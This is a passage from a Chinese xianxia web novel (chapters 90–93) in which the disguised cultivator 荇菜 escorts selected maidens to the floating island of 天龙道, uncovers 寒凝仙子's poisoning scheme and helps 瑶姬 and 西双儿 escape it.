欧阳博古：“寒凝大人，各国使臣一致决定明年十月，大寒前日举办盛会。”
寒凝仙子无声哂笑，犀利的眸光落在丞相陆皎的身上。这个特别的日子应该是拘缨丞相的主意。
此时的陆皎已经由北冥假扮。他一本正经地站在欧阳博古身边，面对迎来的目光微微躬身，以示尊重。
寒凝仙子：“大寒前日，北寒南暖、东雨西冻，确实是个好日子。本尊不用担心有些国主不安于国、趁空作浪。到时神风临空，各赴国都，共邀诸位国主和重臣上岛与会。”
欧阳博古震惊地抬头，各国使臣也纷纷露出不解。
“寒凝大人，往常都是在地面举办十国会。”
“今次可还有十国？自是与往年不同。”寒凝仙子独自上一匹神风驹拉的马车，没有多解释一句。
准备就绪的护士修士纷纷祭出飞行法器，护在六架临空飞起的马车左右。
章鹏没有同行。山泽只被选中一名丽人，跟随护送得也是青虞宗的两名筑基剑修。
高欧国去得是观云婴借出的玄决子和玄麦，算起来还是拘缨和天净宗拿了好处。
神风驹的车列队伍刚出天缨城，半空一道巨大的佛掌直压而下。
“阿弥陀佛。贫僧火云子，欲随仙子一同上岛。”
寒凝仙子从车架里飞出，迎头对上此掌。
顿时，掌心灼热似火，让她从半空直直下坠。
黎榷振翅飞去，接住寒凝仙子：“寒凝大人，你没事吧？”
寒凝仙子被送上马车，利眸横扫列阵在前的修士队伍，握紧手掌，咬牙道：“拿下他。”
火云子打出一掌后确实没再动手，任由玄麦等人把他抓起来，押到寒凝仙子的车架外。
寒凝仙子正在遭受业火蚀魂的痛苦，一时应对不了。
下属弟子就道：“先将和尚押着，一起带回浮空岛。车队尽快启程。”
荇菜悄悄地站上青柑的飞行法器：“师侄，麻烦你载一段路。”
“师叔怎么了？”
荇菜摇头：“无事。”袖下的手微拳，凶妖煞气扰乱体内的气息运行路径，有些气浮。
青柑偷看以花涟长老的样貌出行的师叔，伸手扶她，被荇菜转臂躲开。
荇菜：“你只管驾驭法器。”
“是。”青柑点头，御使法器缀在修士队伍的后面。
浮空岛不是人人都能去。
八宗会盟时，高阶修士会在浮空岛举办论道场，去得不是掌门就是修为极高的长老。元婴以下的修士比试、历练只在陆地上的宗门举行，不够资格上浮空岛。
六岁以下的孩童若有灵根、体质出奇，兴许能被选上浮空岛。
天底下的普通修士唯一上岛的机会是十年一次的护送丽人。
青柑想想就激动，驾驭飞行法器时运转灵力更猛了些。
荇菜提点他：“浮空岛的影子都没看到啊，你现在已经输出大半灵力，想把本尊摔死吗？”
“呃……”青柑赶紧趁空吞粒补气丹，目光撇向前方，上方的玄麦也在吞丹药。
盏茶过后高空的寒风已经冷冽刺骨。
带队的白色神风驹打个响鼻，向半空得一处黑点狂奔而去。
“到了吗？”年轻的筑基修士轻轻地舒口气，对这样高强度的高空飞行有些吃不消。
神风驹落在一处悬浮岛上的浮空平台。
五两马车上的丽人手持莲花纷纷下车，左右环顾，不知所措。
寒凝仙子伤重，没有下车。
弟子代为传话：“此处是上浮空岛的浮云台，台上有传送阵法，启动后直达浮空城。你们是筑基修士，体内的灵力有限。若从此地飞上浮空岛，还需飞行一个时辰，高空风寒，又需护体灵力。若中途服用增灵丹药过多，对你们的法体有害。我家仙子本来的意思是在此启动阵法，送诸位上岛。可是，现在仙子被臭和尚打伤，无法凭一人之力开启大型的传送
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阵。菡萸在此希望诸位修士齐力向传送阵眼输入灵力，开启传送阵，送大家上岛。”
十九位修士面面相觑，因经验不足，一时没想好应对。
又有弟子大声道：“你们怎么回事？这也不是多难的事。若只有我家仙子一人，可以直接乘坐神风驹上浮空岛，哪里需要这么麻烦。仙长有伤，还留在这，不都是为你们考虑吗？”
羽民国的黎榷抱胸轻哼，环顾一众“没能力”的修士，出列道：“我羽族愿意出力。”
玄决子和玄麦对过眼，纷纷上前颔首。
青柑看向荇菜，见师叔点头，颔首道：“欧丝国、合欢宗愿意。”
余下修士也齐齐答应。
丽人们手持荷花站在传送阵台的中央，不敢多言。
瑶姬和西双儿默默地站在一处，两支紧裹的荷花苞异常显眼。山泽丽人默默地看向手里的荷苞，缓缓地靠过去，寻找同盟。
余下双胞胎姐妹手持盛放的荷花靠在一起。花苞半开的五位丽人自动靠在一块。
荇菜默默地瞧着这一幕，一朵荷花把队伍分出来，浮空岛真是擅观人心。
她站在沉默不言的火云子身旁，传音入耳：“火云子，你怎么想出这种招数上岛？”
火云子紧闭双目，任由捆仙锁缠住双手，只默念经文，不予理睬。
仇人就在身侧，却没有直接动手，是看在树林里她说过的话份上。
寒凝仙子的马车就停在浮云台的中央，丽人们分堆站马车各处。
众修士锁定各自的方位阵眼，待寒凝的弟子一声令出，齐齐将灵力打向阵眼。
荇菜蹙紧眉宇，咬牙向阵点输入灵力。
煞气过心，过往让人痛苦的画面一一浮在眼前。
月夜吸尽项檀，大磐石上诱惊蛰入魔，黑羽耗尽心血牺牲……一桩桩一件件宛如利锥扎心。
“嗬……”荇菜的眼前回荡急促无助地喘息声，紫黑色的眼眸晃过一丝红光。
耳边传来经文声，像是前往即谷的官道上，一群和尚在夜间的林里做功课。
经声静心催眠，让人心渐渐地沉静。
荇菜看清眼前的阵眼，轻舒口气。
若非修炼得是心神惑术，尚能抵抗识海生出的蚀心之恨，恐怕就会被魔障入心，继而发疯发狂。
朱琴天真是好毒的杀招，而且越来越难对付。
缓过一阵后，睨向旁边的火云子：当真是可笑啊。自己害他无寺可归，如今他的经文却让自己舒心缓神。
传送阵法的灵光闪耀，众人的眼前被一片白色笼罩。
浮云台上空无一人后，两人从天而降，落在台面。
黑袍兜头盖脸的男人躬身道：“法尊，煞气是在这里断掉。这里应该就是上浮空岛的传送阵。”
道生花收回远眺高空的目光，落在眼前的男人处：“你确实有点特别的本事。多亏你，本尊才能屏蔽她的契约感应。你给她下的凶妖煞毒已成，找到这处隐蔽的传送点。本尊记你两功。
接下来，本尊要去渐渐老朋友，再找山泽国主谈一笔大买卖。天龙道，他逍遥不了多久了。”
91. 第 91 章
几息过后，耳旁传来熙熙攘攘的人流声，如处闹市街巷。
荇菜的修为高，传送灵光没消散就走向另一个方位，离开时抽掉火云子腕上的捆仙绳。
她若无其事地站在青柑的身侧，同众人一起面带诧异地看向四周。
火云子的经文早已停止，闭着眼都是红光画面里闪过白色的衣角。趁大家没反应过来，他纵身穿过阵法的灵光，夺步入街道上的人流。
妖女，又是你。贫僧不会感激你，更不会放过你。
然而，此事过后他仔细想想，在十方山寺的佛笼合境时，荇菜和青虞宗的九阳剑尊可是帮十方寺和雷火寺的大忙……
遁入人群的火云子疾步向上层的浮空岛群——水月岛的方向奔去。
青柑环顾周围宛如天宫的白色建筑群，缭绕的高空云气让此处真像仙界。
街道上的人群和欧丝国的大城人流没有太大的区别：白衣修士、青衣凡人、彩衣妖族、甲身妖兽、裸毛走兽混走一起，不会因此认错。
此处的气氛和平，人人衣裳鲜明，给人清楚明亮的感觉，就是气温比地面低许多。
荇菜因输出灵力，体内的凶妖煞气环走全身，忍不住晃了下。
“师叔……”青柑回过神，急忙扶她。
“臭和尚逃了，快追。”修士发现火云子逃走。
黎榷第一个追出去，寒凝的两名弟子担心师父受的伤势特殊，也去追火云子。
其他护送修士因输给传送阵法的灵力过多而气力不支，无力追击而露出羞赧。
寒凝仙子在马车上痛苦出声：“你们……先送凡女去人间府报道。菡萸，你领急需调息的修士到……炼道府拿牌。啊……快送本尊……到羽护法的……府邸。”
余下三位弟子马不停蹄地分头行动。
一人领十位丽人前往不远处的人间府；一人领急需调息的众筑基修士往炼道府；还有一人驾起神风驹，向更上层的水月岛群飞去。
荇菜一把捏在青柑的手臂，轻着嗓子，咬牙道：“咳，修为低，注入灵力太多，急需调息。”
这也是目前所有的筑基修士面临的问题。
领队的女子听到这话，回首道：“诸位放心，炼道府会提供最上品的丹药和聚灵阵法供你们调息。你们在浮空岛上得一切行动都归炼道府安排。”
玄决子问：“敢问这位仙子……”
“不敢当道友的称呼。玄道长唤我菡萸就好。”菡萸说完，面上露出忧心，也是在担心寒凝仙子的伤势。一面细心解释，“虽说在下界，诸位是护送丽人的修士，其实是道祖给各宗低阶修士一次上岛交流锻炼的机会。以免地上的人总觉得天龙道神秘不可攀。
各位到炼道府后领上一块临时用的身份牌，在浮空岛得一切用度花费都由炼道府支出，为期一年。十国会开始前，仙子会送愿意下岛的修士随神风驹一起归国。”
玄麦瞪大眼：“这不就是凡间的游学吗？怎么师父……”赶紧住口，露出一脸尬笑。
菡萸轻笑：“事实就是如此。浮空岛上设有藏经阁、功法塔、珍珑楼，十味香珍院，各种对你们有进益的地方。以前的护送修士常去这些地方进学、采买、游玩。”
玄决子不解：“……既然是游学，为何不曾听门中长辈说起过呢？”
师父说，护送的修士资质一次不如一次。因为好弟子去了不回，回来的弟子又多有不测。
观云婴也没说清楚，只道：“为师相信你们，你们去吧。”
菡萸拉起无奈地笑靥：“上岛的修士里十个有七八个不肯再下岛，通过水月岛上的天龙道考核后就可以加入天龙道。日后，他们下岛办事，不会多说什么，扬得是天龙道的威名。至于那些肯回宗门的修士为什么不说浮空岛上的事，当然是因为人心。
下界的人心复杂，仙宗皇朝间的权势交错，总将秘密藏得越深越好。
浮空岛可以避开人间的争斗。一旦下岛，一个个都不知声，更不说浮空岛的好话。”
众修士面面相觑，想起来时自家掌门的叮嘱：
“不可多言天龙道的是非，便是岛上再好也不可对外说，以免惹祸上身。”
此前，大家以为这个祸来自于天龙道。实际上，或许来自周围的修士，有可能是下岛的修士怀璧其罪，也有可能是旁人见不得宣扬天龙道的名声……
众人到达炼道府，管事和菡萸交接，给大家发放临时用的身份牌，又遣人去找黎榷回来。
管事道：“鄙人陈仁，乃是炼道府的管事，隶属于水月岛天龙道门下。诸位在岛上为期一年，住处在这炼道府。诸位可结对住一院，也可单独择院落居住。房舍内布下聚灵阵，每月供上品蕴养丹，以及岛上消费的上品灵石。”
众人闻言纷纷露出惊讶、欢喜的神色。
各自宗门都有月供，但需按劳所得。此外，宗门不会发放上品灵石。
也就难怪游学修士不肯下岛，跑去参加天龙道的考核。
陈仁：“此外，岛上的藏经塔、功法塔、登月楼都需要通过试炼才能进。前两者的试炼比较简单，只需诸位交换修真技艺的心得，以及所学功法。”
在场修士露出不解、警惕的神色。
这不就相当于利诱别人的门派功法和修真技艺吗？果然天下没有免费的午餐。
陈仁看出大家的神情，又道：“诸位放心，你们所学所会的，藏经塔和功法塔内都有记载，甚至比你们学到得还要精。当然，此事不做勉强。登月楼是试炼楼，但凡通过登月楼十层，可在楼顶乘传送阵前往更上层的水月岛，参观天龙道本宗。”
玄决子：“水月岛就是天龙道的宗邸，那……”
陈仁笑道：“不错。下界说的浮空岛不能完全代表天龙道。浮空岛浮空城只是为天龙道服务的城镇，如诸位的宗门山下有镇有城，一个道理。”
众人恍然，有人嚅唇想问什么，却不敢问出口。
陈仁：“诸位好奇天尊的所在吧？”
玄麦紧跟着点头。众人的眼睛亮了几分。
“天尊在水月岛的上空，浮空城里称之为：镜花岛。除羽护法外，只有侍神丽人可以轮流上岛。”
有人忍不住惊叹：“不会吧？那些丽人真是给……”
陈仁的眼睛直直地看向此人，对方垂首不敢言。
“诸位不要误会，每一位侍神丽人都是洁净之身，上岛只是为天尊打扫落叶台。她们没机会见到天尊。起初大家对侍神丽人的事好奇，久而久之就见怪不怪。你们若真好奇，有机会见到侍神丽人，大可去询问一二。
诸位若没有疑问，请随我去选居住的院落吧。”
乍听之下，浮空岛似乎没有什么秘密，不禁人身自由，好客又善解人意。但是，细细琢磨就会发现凡人上天尊在的镜花岛，总有些奇妙吧。
青柑和荇菜住在一个院落，东厢房给荇菜居住。
她盘坐在榻上，运行功法，试图将妖煞之气重新导至一处。
“呃……”一口乌黑的血落在地上，烧出一片黑雾。
“该死的朱琴天，好凶的妖毒。煞气蚀心，妖毒蚀体，当真是阴毒得很，难怪剧情大神的字牌乱成那副德行。这人的心性已经完全不配做男主角。
呵，朱琴天，你永远不会知道自己失去得究竟是什么。”
“师叔，有什么要吩咐弟子吗？”
青柑调息完后一直担心荇菜的伤，不敢直接问要不要帮忙，选择委婉地问什么吩咐。
荇菜套上登天靴，轻舒口气。
她让青柑进屋，吩咐道：“这两日本尊需调理伤势，不便外出。你帮本尊暗中打听两件事：第一，羽民国的凤尊在岛上什么地方。第二，天池又在哪里？
你已经是筑基弟子，外出经验不会少。这个你拿着玩，去吧。”
“是。”青柑默默地接过玉盒，没再多问为什么。
出门后他看向重新阖上的房门，正经的脸上，幽晦的眼眸里闪过一缕沉思：莲花峰长老的法力不俗，又是半月尊者的弟子。若能得到她的青睐，与之双修……咳咳，先办好师叔交待的事吧。
三日过后，荇菜总算感觉法体顺畅些，但
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是被凶妖煞毒封住几处运行灵气的经络穴位。
青柑前来回禀打探到的消息。
“回师叔，凤尊在水月岛的迎客楼，应该被强压着做客吧。岛民说他上岛日拜见羽法尊，却当堂杀掉羽民国的叛徒黎耀和狐羽，而且掏取狐羽的精魄。凤尊当真是狠厉无常啊。另外，我发现羽民国的黎榷对此事也很关心。这些消息是我跟在他后面听到呢。”
荇菜想起交待凤武的事。他果然做到这一点。狐羽的精魄在凤武手上，必须拿到精魄，破解黄椒分身的阵法奥秘。
“不必管黎榷。天池在何处？”
“在水月岛北角的护岛结界外。听说，以前的天池很热闹，九天悬瀑有一股坠入浮空岛的碧落泉，大部分会洒向人间的泽被湖。
四十年前，岛民还能看到天尊在天池外的遁光，有人蹲在碧落泉边仰看上方的天池，期待看一眼天尊。二十年前至今，天尊没再去过天池，也没人看守天池。
天池在护岛的结界外，又临向北，应该非常冷吧。
有丽人驾神风驹马车经过时看到，通往天池的虹桥布满冷雨凝出的冰霜，道滑难行，说不定一个不慎摔向下面，运气好落在碧落泉附近，运气不好就是岛外的万丈深渊。”
荇菜思量天龙道的空间地理布局，从上往下呈陀螺状排布。
又问：“你可打听到上水月岛的办法？”
“陈仁管事说通过登月楼的十楼试炼即可去往水月岛。登月楼的试炼根据入楼修为而定。弟子前去试过，一楼是针对合欢宗的惑术。听青虞宗的护送修士说，一楼是剑术。玄决子道长说是符术……各人说法不一。”
荇菜颔首道：“本尊亲自去登楼。”
“师叔，你的伤……”
“无碍，若是考惑术、剑术，本尊必不会输。”荇菜说完后就出门登楼。
不久后，她在登月楼的一楼吃大瘪。
一楼的大厅有一面奇异的镜子，可以识别登楼者获得的传承。
楼内考得不是惑术、剑术，而是她最弱的符术。
荇菜得到皎月尊者的卦符传承，但是一直没有机会吃透，直接被符阵轰出楼外。
青柑有些忍俊不禁，没想到莲花峰峰主、合欢宗的长老连登月楼的一楼都过不了。天龙道果然厉害啊。
“师叔，没事吧？”青柑小心翼翼地问，“看来这一楼是遇强则强啊。”
荇菜碰一鼻子灰，甩袖往回走，就听楼上有人大喊青柑的名字。
“青柑道友，看这看这……”
荇菜和青柑仰头望去，玄麦正在七楼的窗口兴奋地挥手招呼。
玄麦：“哈哈哈……两位道友，快上来啊。青柑道友，快啊。”
两人被他招摇的神情气地憋出内伤。
荇菜磨牙：“青柑，你是合欢宗的弟子，输人不输阵，你再去试试。”
“哎？别啊……”
师叔你都过不了为什么要弟子去挨虐？惑术反噬很丢人啊。
荇菜捏在青柑的肩头，不管他的叨叨，往前一送，直接把人扔进登月楼。
楼门一关，传来青柑痛苦的叫声。
玄决子在登月楼的九楼窗口往下探，朝探头大笑的玄麦说着话。
荇菜暗咬银牙，以自身的情况没法一下子掌握符道。若是精通符道，那窥人传承的“照妖镜”考得就会是最弱的卦术。
这得猴年马月才能上登月楼、进水月岛？
楼上的玄麦和玄决子专精观云婴得一门道法，才能轻易登楼。破楼考得是修士专擅的道法以及一心无二的学习心性，说白还是在给天龙道择人。
荇菜转身离去，穿行在浮空城的街巷。
一群人在人间府前的小场地上仰头望着上空，她不由也抬头望去。
一匹纯白的神风驹拉一辆马车从上空的云雾里穿行而来。
片刻后，马车落在人间府的门口，车上的丽人握紧手中盛放的洁白荷花，披一件白色保暖的裘衣哆嗦着下车。
她似乎冷得不行，头发上湿漉漉地沾着水，像被虐待过一样。
92. 第 92 章
黎榷从观望的人群里走上前：“吉雅姑娘，请问有看到我们羽民国的青玉吗？”
高欧国的吉雅闻声微顿，颔首道：“青玉姑娘就在府内，荷花还未盛开，轮不到她上岛。明日……应该是轮到昆山国的姑娘上岛打扫。”
“打扫？”黎榷和不少新上岛的护送修士露出好奇的神色。难道真得同陈仁管事说得一样，这些丽人上岛只是干打扫的活，而不是供天尊消遣吗？
“是啊。那地方真高，一眼望去什么都没有，我根本不敢看下面。但是，天很蓝，蓝得像高欧的摩诃海，让人心旷神怡。岛上明明什么树都没有，却还叫落叶岛，经常会出现一堆五颜六色的落叶。我本来不觉得冷，”吉雅看向捏紧荷花枝的双手，“在捡起第一片叶子时冷得激灵了下，好像有什么爬上我后背那种冷。幸好有盛放的荷花枝，看着它就没那么害怕。其实，还好啦，我就是复杂打扫那些落叶。”
荇菜问道：“你们打扫的落叶呢？”
吉雅见着荇菜的容貌，不由微微脸红。花涟的长相确实不俗。
“我把树叶收集在一只叫……封灵囊的袋子，交给水月岛上的天龙大人。他拿走后我就上马车回来。不知道他拿着树叶去干什么。”
“若叶子漂亮，没有人私藏一片研究吗？”荇菜突兀地问。
吉雅瞬间生气：“你这人长得像模像样，心地怎么这样坏，竟然侮辱我的人格。我吉雅虽是凡女，却不会贪图不属于自己的东西。哼。”
众人看着她提裙进府，纷纷用指责的目光瞪向荇菜。
“叶子再漂亮也是叶子，有什么好私藏？”
有人转口风：“不一定啊，天龙道的叶子，说不定是什么秘宝。不然，她们为什么用封灵囊装叶子，又交给修士处理？”
“对哦。凡女没见识，不一定认识宝物。”
……
黎榷更是冷哼：“你想探听天龙道的秘密，直接通过登月楼上去啊。”
荇菜一脸无语：拜托，又没有直接指吉雅私藏叶子，这么大反应干什么？
她反瞪回去：“说得好像你能通过登月楼的试炼一样。”若是你能通过登月楼，早就上水月岛拜见你家凤尊。
两人的眼眸冒火，互瞪两回合。
此时，人间府的门内又有热闹。门口的管事拦住欲要强行出府的西双儿。
西双儿在门口生气地大嚷：“凭什么不让我出去，不是说人间府不禁丽人的出入自由吗？”
人间府的门卫阻拦：“姑娘的荷花未开，暂时不能离开府邸。这是为姑娘的安全着想。”
“什么破荷花。她们半开的荷花养在瓶里没三日就能盛开。为什么我们拿得是花苞，怎么养都不开？”
“姑娘，这……我们不知道你的荷花为什么没开。我们是依令做事。”
西双儿盛怒：“寒凝仙子呢？你让她出来，我找她说理。说什么只要荷花盛开，扫至下一批女郎上岛，让我们拿钱自由。既然让我们驻颜，又不禁出入，凭什么不让我出府游玩。”
菡萸出现阻拦：“西姑娘，仙子在水月岛养伤。待她下岛，我定将姑娘的要求禀告她。你且放心，待你的荷花盛开，一切行动与别的姑娘无异。”
西双儿不听菡萸的话，还要闹着出府。
在菡萸动怒前，瑶姬至门口拉住西双儿，将人拽回门槛后。
瑶姬的眼神晃到大门外的荇菜侧面，此时的荇菜已经背过身去。
然而，“他”的身形还是让瑶姬瞪大瞳孔。
瑶姬：这个侧脸、身形……真得是师父花涟……不可能是他，是……
她强压掀起的不安心绪，劝着西双儿回府。
背过身的荇菜默默地扯开笑容，与黎榷狐疑的眼神相撞，各瞪了眼后分头离去。
**
水月岛的天龙道宗邸内，羽化生想好几种方法都无法碰触寒凝仙子体内的火毒，一旦碰触她的额头就感觉连自己的魂魄都要被烧起来。
最后，他翻阅典籍找到这种火毒的克星。
羽化生蹙眉看向痛苦煎熬的寒凝仙子：“这种火毒源自于红莲业火。书上说，红莲业火乃是地狱之火，专门灼烧身负杀业、怨债缠身的恶人。凡有孽债，蚀烧魂魄，孽消债偿，方可灭尽。
寒凝，近百年了，传闻那些潜伏上岛的女子被你放归回家。但是，有人来禀本尊，那些女子去向不明，而禀告的人在不久前被你杀了。
时至今日，你可以说出来吧，你对她们做了什么？”
“噗……”寒凝仙子被过往的记忆震动心神，呕出大口鲜血。
她凄楚又含怨地看向羽化生：“蓝苑那个贱人，我辛辛苦苦栽培她，她却为出使十国的神召节背刺我。
羽护法，你打算让蓝苑去神召节遴选丽人吧？呵，我寒凝还是去成了。”
羽化生被气地眯眸：“果然是你杀死蓝苑。只因她向本尊举告你，你就杀了她。”
“不。十国八宗灭我天龙道之心不死。我这么做是为天龙道，为天尊。下界的宗门、凡人居心叵测，用不纯的女郎、女修士扮作凡人上岛，分明要对天龙道不轨，说不定她们早已同三生道合谋。我这么做是为宗门考虑。难道那些不轨之人不该被处理吗？蓝苑她下得去手吗？”
寒凝的心绪波动过大，又捂住灼痛的额头。业火烧入识海，让她痛得几近疯魔。
“羽护法……只有你能见到……天尊，请看在属下管理浮空城多年的份上……求天尊救救我……啊……”
羽化生气地甩袖抿唇：“本尊带你上岛。但是，天尊救不救你不由本尊说了算。红莲业火的威力至强至阴，只有杀人无数者才会被业火侵蚀。书中说得克星是功德之力。若无累世的善业积累功德，无人能从此火下救你。十方山寺的和尚真是得了了不起的冥火。”
寒凝仙子咬牙：“怪我当年没有阻止章鹏。佛掌打来时，我生出怜悯心，才着了道的。”
“吃过次堑，你还在自以为是。若无杀孽在身，你根本不会被红莲业火烧魂。那和尚根本不知道天龙道自称仙子的身上背负数条凡人性命。”
“啊……我没有让人杀他，将他带上浮空岛……这难道不是善事吗？”
羽化生不想再同她争辩，看在她劳苦多年的份上，前去求一求师尊。
祭出白色的羽扇法器，放大后载上寒凝仙子。
“若非你还有这点怜悯心，恐怕连三天都抗不下。业火，不是说着玩的东西。本尊看在你一心为天龙道的份上才带你去求见师尊。”
镜花岛的玉石台，羽化生放下寒凝仙子，朝紧闭的宫门行礼：“天尊，天龙道门人深受业火蚀魂之痛，望出手救她一命。”
紧闭大殿内没有传出声响。
羽化生看眼痛不欲生的寒凝，跪下行礼，再次道：“师尊，寒凝镇守浮空岛百年，没有功劳也有苦劳，又是一心为天龙道考虑。请师尊救她一命。”
“天尊……”寒凝仙子泪眼婆娑，一步步往前爬，“天尊，救救……寒凝吧。”
**
荇菜翻过人间府的高墙，正见瑶姬和西双儿两人要翻墙逃出去。
三人六目相对，瑶姬的眼里沁出水雾：“师父……”
荇菜摸脸，哼笑着换回绝色面容，目睹瑶姬瞬间变脸。
“徒儿看到为师的模样心情复杂啊。不然，师妹来辨辨：爱？恨？愧疚？怨恨……又或者早就认出本尊，却在做戏。”
“荇师姐，”西双儿拦在神色溃败的瑶姬面前，“瑶姐姐早就不怪你。你忘记，你们喝过茶，一茶释恩仇啊。”
瑶姬撇脸，抹去眼中的湿润，不再做那副神情：合欢宗的妖尊，果然不好糊弄。
“你怎么来这？”
荇菜敲在西双儿的脑袋，吓得她缩脖子。
“怪本尊？你啊，真是单纯的大小姐，终究不懂本尊这位师姐的好本事。”
在青山洞窟里就能看出瑶姬这人的心性，为达目的能抛却原则和人性。
“本尊是护送丽人的合欢宗修士啊。”荇菜莞尔道，“欧丝国丢了一名丽人呢。青柑这老实孩子好像被某个人忽悠了。”
瑶姬垂落眼神。
陆相说过，一国不会被选中两位丽人。为能和西双儿借身份上岛，用合欢术迷惑青柑，假扮成欧丝国女子混进欧丝国的丽人队伍。
幸
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运得是两人一起被寒凝仙子选中上岛。
上岛得这一路，瑶姬怕青柑反应过来，一直躲在西双儿的后面，没仔细观察过合欢宗的另一位护送修士。
不对，瑶姬有观察，只是荇菜一直背对瑶姬……所以瑶姬才没有发现“花涟”，直到人间府的大门口。
合欢妖尊故意给瑶姬看到半张脸。
瑶姬想明白荇菜的举动，却不明白她的动机：“你究竟想怎么样，有什么目的？若我能帮上忙，你也必须帮我们一个忙。”
“哈哈哈……不愧是师姐你啊，果然聪明。”
这才是男主后宫的第一女主嘛。
荇菜可不会被她牵着鼻子走，反倒露出好奇的神色：“我就觉得你俩挺奇怪的，怎么可以好成这样？前不久，瑶姬不是对……”
“住口，”西双儿大声阻止，又缩头抿唇，“对不起，荇师姐。那都是瑶姐姐的过去了。”
“过去？”荇菜的瞳孔大震：九霄尊者还没死呢，怎么就过去了？人家只是闭关啊。
“你自己一身骚，管我干什么？”瑶姬不忿道。
荇菜眯眸，危险地看向两人。
西双儿赶紧拉住发怒的瑶姬，解释起来：“荇师姐，遥姐姐只是担心我的安危。我们两人的荷花苞一直没开，山泽丽人的花苞都已经半开，但是我们两人的花苞一直没有开，怕中间出变故她才这样紧张。”
“你们告诉本尊为什么一定要上岛？西双儿上岛就罢了，瑶姬为什么呢？”
瑶姬已经破罐子破摔：“什么为什么？我和双儿姐妹情深不行啊。”
本尊本尊，真当自己是个尊，从前还不是个傻白甜。
荇菜看她一副死猪不怕开水烫的模样，冷笑道：“本尊信你个鬼。人家丽人心思纯净、元阴也在。你们两人……”
“你……胡说什么！”瑶姬一把扯住低头的西双儿，拽到身后，“你说我就罢了，胡说什么呢？”
“本尊只是提醒你们，为什么别人的荷花苞能开，你们的不能开。那么多丽人在场，寒凝仙子为什么偏偏选中你们两人，你们就不奇怪吗？
不过一个打扫任务，非得要特别美的人吗？”荇菜翻个大白眼。
西双儿和瑶姬面面相觑，顿感阴云照顶，露出忧心的神色。
瑶姬到底比西双儿年长，率先朝荇菜行礼：“请妖尊救我姐妹二人。”
荇菜睨向两人：“花苞在何处？”
两人从藏在袖内的储物袋里取出荷花苞。
瑶姬先一步把花苞递给荇菜。
花枝入手，荇菜顿感指腹刺痛，摊开手掌。
瑶姬惊诧道：“怎么回事？我……这荷花……明明……”
“开了。”西双儿看向抖动的荷花苞尖，诧异道，“开了……”
荇菜眯眸，往荷花中输入灵力，一手按在心口：妖煞之气又在捣乱。
荷花完全盛开，一支极为普通的上白下粉的荷花。因为灵力充足，花枝的杆身长出不小细刺。
“她们说只能给荷花浇灌普通的水，不能用灵物蕴养，否则荷花必死。我和双儿一直不敢给花枝输灵力，怕荷苞死了。”
“这不就是先入为主、欲盖弥彰的把戏，哄得是你们两个心中有鬼的人。”荇菜晃了下盛放的荷花，“你们两人被下散灵药，没有感觉吗？”
西双儿和瑶姬面目相觑，各自运转体内的灵力，丹田空空，一无所有。
“怎么会这样？”
“寒凝仙子，一定是她……”
荇菜睨着两人：“寒凝应该是把你们当合欢宗、西塔国的间谍处理。她在西双儿的列队里来回走动两次，将计就计选西双儿。
散灵药下在荷花杆，自地面到岛上，早已无声无息地侵蚀你们一路。
你们提防着不暴露身份而不动用灵力。又有人提醒你们不能给花枝用灵物，你们自然不敢运转灵力。
惑术迷人心，常人用‘行为、语言’给你们下暗示。现在，寒凝在水月岛请羽化生救治。若她一旦无事，必下岛收拾你们。”
西双儿和瑶姬面面相觑，再也不敢质疑荇菜，纷纷行礼：“请妖尊救救我们。”
93. 第 93 章
荇菜看着两位忧心忡忡的美人，再次问出那个问题：“本尊就好奇你们两拜在不同的师父门下，怎么就姐妹情深到要同生共死呢？”
两人的回答是十指相扣，睨了眼荇菜后含情脉脉地对望。
天空劈过一道雷……轰得荇菜回不过神：“你们……”
不可能吧，不会吧？天啊，怎么会这样？
这不是大男主后宫文吗？天啊，后宫女主间不相杀，竟然相爱！！！！！原书剧情得糊成什么鬼！
禾诗逸呢？看书时青睐有加的禾诗逸呢？
西双儿胆大，倾身吻在瑶姬的脸颊，握着她的手看向荇菜：“荇师姐，你不用怀疑，是我强迫遥姐姐。”
瑶姬默然：“我……我只知道，双儿不能出事。”
荇菜的脑海里嗡成一片，深呼吸、深呼吸、深呼吸……缓口气：“……行……吧！不为你们，本尊为禾诗逸也会帮你们。”
又忍不住嘀咕，“反正帮你们不止一次，早知道在地上就告诉你们：章鹏不会再找麻烦。哎。”
瑶姬和西双儿面面相觑，忽然笑出声。
西双儿转着活泛的双眸，兴奋道：“荇师姐，你不知道吧。其实，师姐她……”
“双儿，”瑶姬朝西双儿摇头，阻止她说出来，附耳道，“荇师姐直得像荷花箭杆，你告诉她只是徒增她的烦恼，说不定会让她和禾师姐的关系变僵。”
“可是，”西双儿也咬耳朵，“荇师姐不知道的话，我师姐不是太可怜……”
荇菜看着两人互咬耳朵说悄悄话，脑海里直接兴奋地黄了。
“你们说什么呢，师姐……禾诗逸，她怎么了？”人走上前，打算凑近一起听。另一手拿过西双儿的荷花打掩护，输入灵力让荷花苞盛开，再递还给西双儿。
但是，两人已经交流完，没再咬耳朵。
荇菜一脸扭曲：经脉都在作痛，竟然没听到耳语……
西双儿接过荷花，嚅着唇摇头：“谢谢荇师姐。我师姐……她很看重荇师姐。”
“那是自然。不然，本尊早把九阳剑尊那老东西拿下，”拆吃入肚，骨头都不给他剩，省得他修炼无情道。
荇菜睨向两个瞪眼、鼓腮帮子的女人，“你们什么表情？”又瞪向瑶姬，“你拿不下过去式，本尊拿下九阳剑尊不正好胜你一筹。本尊帮你们，你们也得帮本尊一个忙。本尊的袖袋里还有鸳、鸯、丹。你们不能做丽人，但是变成普通岛民、隐形埋名，可行得通？”
瑶姬和西双儿纷纷绽笑，齐齐向荇菜行礼。
翌日清晨，荇菜易容成西双儿现在的模样，强行同昆山国的丽人交换扫地排班，坐上前往镜花岛的马车。
神风驹拉着马车踏云御风，穿过浮空岛的结界，突入水月岛，经水月岛的简单问询，接过修士递来的封灵囊，乘马车直达镜花岛的落叶台。
荇菜下车后环顾四面上下，真就空旷得像踩在云上。不远处倒是有个宫阙殿宇，在一架虹桥的对面。
她走到落叶台的边缘，下方千米是水月岛链。整个天龙道的浮岛群是陀螺型布局，上下两端面积小，中间的水月岛面积大。
水月岛的中央是天龙道的官邸，宛如天宫琼楼。
荇菜的眼力好，还能看到下方的天龙道弟子在水月岛上行走。天池在护岛结界之外，虹桥拱形，挂满冰霜，看一眼都觉得脚底打滑，慎得慌。
荇菜的目标就是天池，先把眼前的活干完，然后上水月岛交差，再趁机去天池。
“扫地？树都没有，哪来的叶子，扫什么地？”
荇菜拿着扫把绕着不大的落叶台走一圈，至虹桥边上，目光一远看向虹桥尽头的镜花岛。
